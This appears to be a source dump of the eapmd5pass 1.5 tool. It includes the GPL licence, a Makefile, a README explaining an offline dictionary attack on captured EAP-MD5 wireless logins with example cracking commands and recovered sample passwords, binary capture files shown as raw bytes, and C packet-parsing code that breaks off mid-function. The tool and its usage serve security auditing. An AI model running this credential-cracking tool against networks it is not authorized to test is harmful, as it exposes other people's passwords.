License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {description} Copyright (C) {year} {fullname} This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. {signature of Ty Coon}, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. eapmd5pass-1.5/Makefile000066400000000000000000000006351314107134500150640ustar00rootroot00000000000000CFLAGS = -pipe -Wall -O2 -ggdb -g3 LDLIBS = -lpcap -lcrypto PROG = eapmd5pass PROGOBJ = utils.o PROGDSYM = eapmd5pass.dSYM all: $(PROGOBJ) $(PROG) utils.o: utils.c utils.h $(CC) $(CFLAGS) -c utils.c eapmd5pass: eapmd5pass.c eapmd5pass.h utils.c utils.h $(CC) $(CFLAGS) -o eapmd5pass $(PROGOBJ) eapmd5pass.c $(LDLIBS) clean: $(RM) $(PROG) $(PROGOBJ) *~ $(RM) -r $(PROGDSYM) strip: @strip $(PROG) eapmd5pass-1.5/README000066400000000000000000000064061314107134500143060ustar00rootroot00000000000000eapmd5pass - offline EAP-MD5 dictionary attack. Copyright(c) 2007-2008, Joshua Wright -------------------------------------------------------------------------------- EAP-MD5 is a legacy authentication mechanism that does not provide sufficient protection for user authentication credentials. Users who authenticate using EAP-MD5 subject themselves to an offline dictionary attack vulnerability. This tool reads from a live network interface in monitor-mode, or from a stored libpcap capture file, and extracts the portions of the EAP-MD5 authentication exchange. Once the challenge and response portions have been collected from this exchange, eapmd5pass will mount an offline dictionary attack against the user's password. SAMPLE CAPTURES The following sample EAP-MD5 packet captures have the corresponding passwords: File Password ---- -------- eapmd5-sample.dump beaVIs EAPMD5-Challenge-01.cap bradtest brad.eaptest.cap bradtest bra.eaptest2.cap bradtest USE NOTES Normal operation of this tool will be to specify a dictionary file of words to use as potential passwords, one per line, along with a packet capture file from wireless network of an EAP-MD5 exchange, as shown below: $ ./eapmd5pass -w dict -r eapmd5-sample.dump eapmd5pass - Dictionary attack against EAP-MD5 Collected all data necessary to attack password for "jwright", starting attack. User password is "beaVIs". 3917111 passwords in 6.55 seconds: 598165.01 passwords/second. However, there may be cases where mounting an EAP-MD5 attack is necessary even when a packet capture is not available. If you have observed an EAP-MD5 exchange but do not have the data in a wireless packet capture that is understood by this tool, you can manually specify the following parameters as command-line arguments: + username + EAP challenge (16 bytes) + EAP response (16 bytes) + EAP Id of the EAP response frame (usually "2") + Dictionary file An example of using eapmd5pass in this manner is shown below: $ ./eapmd5pass -w dict -U jwright -C d7:ec:2f:ff:2a:da:43:7f:9d:cd:4e:3b:0d:f4:4d:50 -R 1f:fc:6c:26:59:bc:5b:b9:41:44:fd:01:eb:75:6e:37 -E 2 eapmd5pass - Dictionary attack against EAP-MD5 User password is "beaVIs". 3917111 passwords in 7.05 seconds: 555990.03 passwords/second. Note that this tool isn't particularly useful; with no native supplicant support for EAP-MD5 in Microsoft Windows, and the lack of support for encryption in an EAP-MD5 network, it is rare to see EAP-MD5 in use. However, the Windows IAS server has support for EAP-MD5 enabled by default, so it is conceivable that a user could setup their own workstation to use this protocol, unaware of the risks associated with this EAP type. It should be noted that the Funk Odyssey and Mac OS X supplicants both support EAP-MD5 authentication. Why did I write this? I'm not sure. It's possible that I wrote this during a chrono-synclastic infundibulum experience, where it may have meant more to me at the time. THANKS Special thanks to Brad Antoniewicz for his patches and additional test capture files. Special thanks to Dhiru Kholia for identifying some security bugs and for supplying fixes (CVE-2017-11668, CVE-2017-11669, and CVE-2017-11670)! COMMENTS/QUESTIONS/CONCERNS? Please contact me at jwright@hasborg.com. Thanks! eapmd5pass-1.5/brad.eaptest.cap000066400000000000000000000031121314107134500164560ustar00rootroot00000000000000òitG{ ..@:yMytest  0H2$`ltGw  MtGyP:MyyP9dtest$0Hl */02 `PPPPPtG{ ytG{:yMytGw MtGz&&:Myy`tG| ytG|HH:yMy 1 test $0Hl2 `0tGy MtGy(66:Myy$0Hl2 `tG{( ytGy* XytGx*)),MyytG{* ytG|, \MtGz,88,yMy0brad-foundstonetG, MtG|h XytGyh**,Myy tGyl XytGyl** ,Myy tG{l ytGx XMtG|**,yMy@tGz MtGm \ytGy::,MyytG{ ytG| \MtG::,yMyP A1e-;XctGy MtGy  XytGy ((,MyytG{  ytG}z XMtG{z H,yMy`eapmd5pass-1.5/brad.eaptest2.cap000066400000000000000000000005451314107134500165470ustar00rootroot00000000000000òitGx*)),MyytGz,88,yMy0brad-foundstonetGy::,MyytG::,yMyP A1e-;XctGy ((,Myyeapmd5pass-1.5/byteswap.h000066400000000000000000000043131314107134500154300ustar00rootroot00000000000000/* Copyright (c) 2007, Joshua Wright * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. See COPYING for more * details. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #ifndef BYTESWAP_H #define BYTESWAP_H #define __swab16(x) \ ({ \ uint16_t __x = (x); \ ((uint16_t)( \ (((uint16_t)(__x) & (uint16_t)0x00ffU) << 8) | \ (((uint16_t)(__x) & (uint16_t)0xff00U) >> 8) )); \ }) #define __swab32(x) \ ({ \ uint32_t __x = (x); \ ((uint32_t)( \ (((uint32_t)(__x) & (uint32_t)0x000000ffUL) << 24) | \ (((uint32_t)(__x) & (uint32_t)0x0000ff00UL) << 8) | \ (((uint32_t)(__x) & (uint32_t)0x00ff0000UL) >> 8) | \ (((uint32_t)(__x) & (uint32_t)0xff000000UL) >> 24) )); \ }) #define __swab64(x) \ ({ \ uint64_t __x = (x); \ ((uint64_t)( \ (uint64_t)(((uint64_t)(__x) & (uint64_t)0x00000000000000ffULL) << 56) | \ (uint64_t)(((uint64_t)(__x) & (uint64_t)0x000000000000ff00ULL) << 40) | \ (uint64_t)(((uint64_t)(__x) & (uint64_t)0x0000000000ff0000ULL) << 24) | \ (uint64_t)(((uint64_t)(__x) & (uint64_t)0x00000000ff000000ULL) << 8) | \ (uint64_t)(((uint64_t)(__x) & (uint64_t)0x000000ff00000000ULL) >> 8) | \ (uint64_t)(((uint64_t)(__x) & (uint64_t)0x0000ff0000000000ULL) >> 24) | \ (uint64_t)(((uint64_t)(__x) & (uint64_t)0x00ff000000000000ULL) >> 40) | \ (uint64_t)(((uint64_t)(__x) & (uint64_t)0xff00000000000000ULL) >> 56) )); \ }) #ifdef WORDS_BIGENDIAN #warning "Compiling for big-endian" #define le16_to_cpu(x) __swab16(x) #define le32_to_cpu(x) __swab32(x) #define le64_to_cpu(x) __swab64(x) #else #define le16_to_cpu(x) (x) #define le32_to_cpu(x) (x) #define le64_to_cpu(x) (x) #endif #endif /* BYTESWAP_H */ eapmd5pass-1.5/eapmd5-sample.dump000066400000000000000000000315501314107134500167450ustar00rootroot00000000000000òi}iDWnnPq'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/}iDnn`'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/}iDwnnp'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/}iDnn!'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/}iDnn'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/}iD' nnA'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/}iD nn'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/}iDG nna'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/}iDnnв'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iD\%nnಒ'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iDZnn'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iDjEnn'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iDbnn1!'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iDbenn "'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iD[nn0Q$'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iDZ nn@%'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iDe nnPq''d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iDe nn`)'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/~iDd5nnp*'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnn!,'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnn-'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnnA/'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD11@:n O@nLEAPNET  0H2$`liD,P: O@nnŞ/'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDO:n O@niD O@nniD) yy:n O@n ! LEAPNET $20H`lPf @k@@iDs{{, O@nnг!} $20H`lap1231% @\@P 'BC^b2/iDSS, O@nn --networkid=LEAPNET,nasid=ap1231,portid=0iD"00:n O@n0  jwrightiD&2PP, O@nn0 /*CN; MPiD03nn೗0'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD)nna2'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDS nn3'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD+ nn5'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD+s nn 7'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD)nn08'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDPnn@1:'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnnP;'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDpnn`Q='d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDNNnfpfd"iDnn>'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnnq@'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD nnB'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD nnC'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD@ nn!E'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD nnдF'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD`nnഒAH'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnnI'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD>nnaK'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnnL'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD^nn N'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnn0P'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD~nn@Q'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD nnP1S'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD nn`T'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD. nnpQV'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnnW'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDh nnqY'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDjnn['d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDh,nn\'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDhnn!^'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDlLnnе_'d!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDnn/Ba'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDql nnb'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDl nnad'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDk nne'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iDmnn g'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD,jnn0i'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD@nn@j'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD-nnP1l'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD+nn`m'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD~:::n O@n@l&Y[ADun7iDPP, O@nn@ iD?PP, O@n\^r@"E \iD+nnpQo'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/iD+: nnp'd!LEAPNET $ *20H`lap1231%@@@ #BCb2P 'BC^b2/eapmd5pass-1.5/eapmd5pass.c000066400000000000000000000420261314107134500156320ustar00rootroot00000000000000/* Copyright (c) 2007, Joshua Wright * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. See COPYING for more * details. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #include #include #include #include #include #include #include #include #include "radiotap.h" #include "utils.h" #include "byteswap.h" #include "eapmd5pass.h" #include "ieee80211.h" #include "ieee8021x.h" #include "ietfproto.h" /* pcap descriptor */ pcap_t *p = NULL; struct pcap_pkthdr *h; uint8_t *dot11packetbuf; int __verbosity=0; int offset=0; /* Offset of pcap data to beginning of frame */ long pcount=0; /* Total number of packets observed */ struct eapmd5pass_data em; void cleanexit() { if (p != NULL) { pcap_close(p); } if (em.recovered_pass > 0) { exit(0); } else { exit(1); } } void usage(char *message) { if (strlen(message) > 0) { fprintf(stderr, "ERROR: %s\n", message); } printf("\nUsage: eapmd5pass [ -i | -r ] [ -w wordfile ] [options]\n"); printf("\n"); printf(" -i \tinterface name\n"); printf(" -r \tread from a named libpcap file\n"); printf(" -w \tuse wordfile for possible passwords.\n"); printf(" -b \tBSSID of target network (default: all)\n"); printf(" -U \tUsername of EAP-MD5 user.\n"); printf(" -C \tEAP-MD5 challenge value.\n"); printf(" -R \tEAP-MD5 response value.\n"); printf(" -E \tEAP-MD5 response EAP ID value.\n"); printf(" -v\t\tincrease verbosity level (max 3)\n"); printf(" -V\t\tversion information\n"); printf(" -h\t\tusage information\n"); printf("\nThe \"-r\" and \"[-U|-C|-R|-E]\" options are not meant to be " "used together. Use -r\nwhen a packet capture is " "available. Specify the username, challenge and\n" "response when available through other means.\n"); } /* Determine radiotap data length (including header) and return offset for the beginning of the 802.11 header */ int radiotap_offset(pcap_t *p, struct pcap_pkthdr *h) { struct ieee80211_radiotap_header *rtaphdr; int rtaphdrlen=0; /* Grab a packet to examine radiotap header */ if (pcap_next_ex(p, &h, (const u_char **)&dot11packetbuf) > -1) { rtaphdr = (struct ieee80211_radiotap_header *)dot11packetbuf; rtaphdrlen = le16_to_cpu(rtaphdr->it_len); /* rtap is LE */ /* Sanity check on header length */ if (rtaphdrlen > (h->len - DOT11HDR_MINLEN)) { return -2; /* Bad radiotap data */ } return rtaphdrlen; } return -1; } void assess_packet(char *user, struct pcap_pkthdr *h, u_int8_t *pkt) { struct dot11hdr *dot11; struct ieee8021x *dot1xhdr; struct ieee8022 *dot2hdr; struct eap_hdr *eaphdr; uint8_t *bssidaddrptr; int plen, poffset; struct eapmd5pass_data *em; extern long pcount; em = (struct eapmd5pass_data *)user; if (offset < 0) return; /* Check minimum packet length */ if (offset + sizeof(struct dot11hdr) > h->caplen) return; pcount++; /* Global packet counter */ if (__verbosity > 2) { printf("Checking Frame: %ld....\n",pcount); } poffset = offset; plen = h->len - offset; if (plen > DOT11HDR_A3_LEN) { dot11 = (struct dot11hdr *)(pkt+offset); } else { if (__verbosity > 1) { printf("\tDiscarding too-small frame (%d).\n", plen); } return; } if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 1) { /* Ignore WDS frames */ if (__verbosity > 2) { printf("\tDiscarding WDS frame.\n"); } return; } else if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 0) { /* From the DS */ bssidaddrptr = dot11->addr2; } else if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 1) { /* To the DS, interesting to us */ bssidaddrptr = dot11->addr1; } else { /* fromds = 0, tods = 0 */ /* Ad-hoc, can this be used with PEAP? */ bssidaddrptr = dot11->addr3; } if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) { if (__verbosity > 2) { printf("\tDiscarding frame, not type data.\n"); } return; } /* Discard traffic for other BSSID's if one was specified; otherwise, all networks are fair game. */ if (em->bssidset) { if (memcmp(em->bssid, bssidaddrptr, IEEE802_MACLEN) != 0) { return; } } poffset += DOT11HDR_A3_LEN; plen -= DOT11HDR_A3_LEN; if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_QOSDATA) { /* Move another 2 bytes past QoS header */ poffset += DOT11HDR_QOS_LEN; plen -= DOT11HDR_QOS_LEN; } else if (dot11->u1.fc.subtype != DOT11_FC_SUBTYPE_DATA) { if (__verbosity > 2) { printf("\tDiscarding frame, not-applicable subtype: " "%02x.\n", dot11->u1.fc.subtype); } return; } if (plen <= 0) { if (__verbosity > 2) { printf("\tDiscarding frame with no payload.\n"); } return; } /* IEEE 802.2 header */ dot2hdr = (struct ieee8022 *)(pkt+poffset); poffset += DOT2HDR_LEN; plen -= DOT2HDR_LEN; if (poffset + sizeof(struct ieee8022) > h->caplen) return; if (plen <= 0) { if (__verbosity > 2) { printf("\tDiscarding frame with partial 802.2 header.\n"); } return; } /* Check 802.2 header for embedded IEEE 802.1x authentication */ if (dot2hdr->dsap != IEEE8022_SNAP || dot2hdr->ssap != IEEE8022_SNAP) { if (__verbosity > 2) { printf("\tDiscarding frame, invalid 802.2 header.\n"); } return; } if (ntohs(dot2hdr->type) != IEEE8022_TYPE_DOT1X) { if (__verbosity > 2) { printf("\tDicarding frame, embedded protocol is not " "IEEE 802.1x (%04x).\n", dot2hdr->type); } return; } /* IEEE 802.1x header */ dot1xhdr = (struct ieee8021x *)(pkt + poffset); plen -= DOT1XHDR_LEN; poffset += DOT1XHDR_LEN; if (plen <= 0) { if (__verbosity > 2) { printf("\tDiscarding frame, too short for 802.1x (%d).\n", h->len - offset); } return; } if (dot1xhdr->version != DOT1X_VERSION1 && dot1xhdr->version != DOT1X_VERSION2) { if (__verbosity > 2) { printf("\tDiscarding frame, not an 802.1x packet.\n"); } return; } if (dot1xhdr->type != DOT1X_TYPE_EAP) { if (__verbosity > 2) { printf("\tDiscarding frame, not an EAP packet.\n"); } return; } /* EAP header contents */ eaphdr = (struct eap_hdr *)(pkt + poffset); if ((plen - EAPHDR_MIN_LEN) < 0) { if (__verbosity > 2) { printf("\tDiscarding frame, too short for EAP (%d).\n", h->len - offset); } return; } if (eaphdr->type != EAP_TYPE_ID && eaphdr->type != EAP_TYPE_MD5 && eaphdr->type != EAP_TYPE_EAP) { if (__verbosity > 2) { printf("\tDiscarding frame, not EAP Identification or " "EAP-MD5.\n"); } return; } /* Try to extract username */ if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 1 && eaphdr->type == EAP_TYPE_ID) { if (extract_eapusername((pkt+poffset), plen, em) == 0) { if (__verbosity > 2) { printf("\tFound Username!\n"); } em->namefound=1; return; } } /* Try to extract the challenge */ if (dot11->u1.fc.from_ds == 1 && 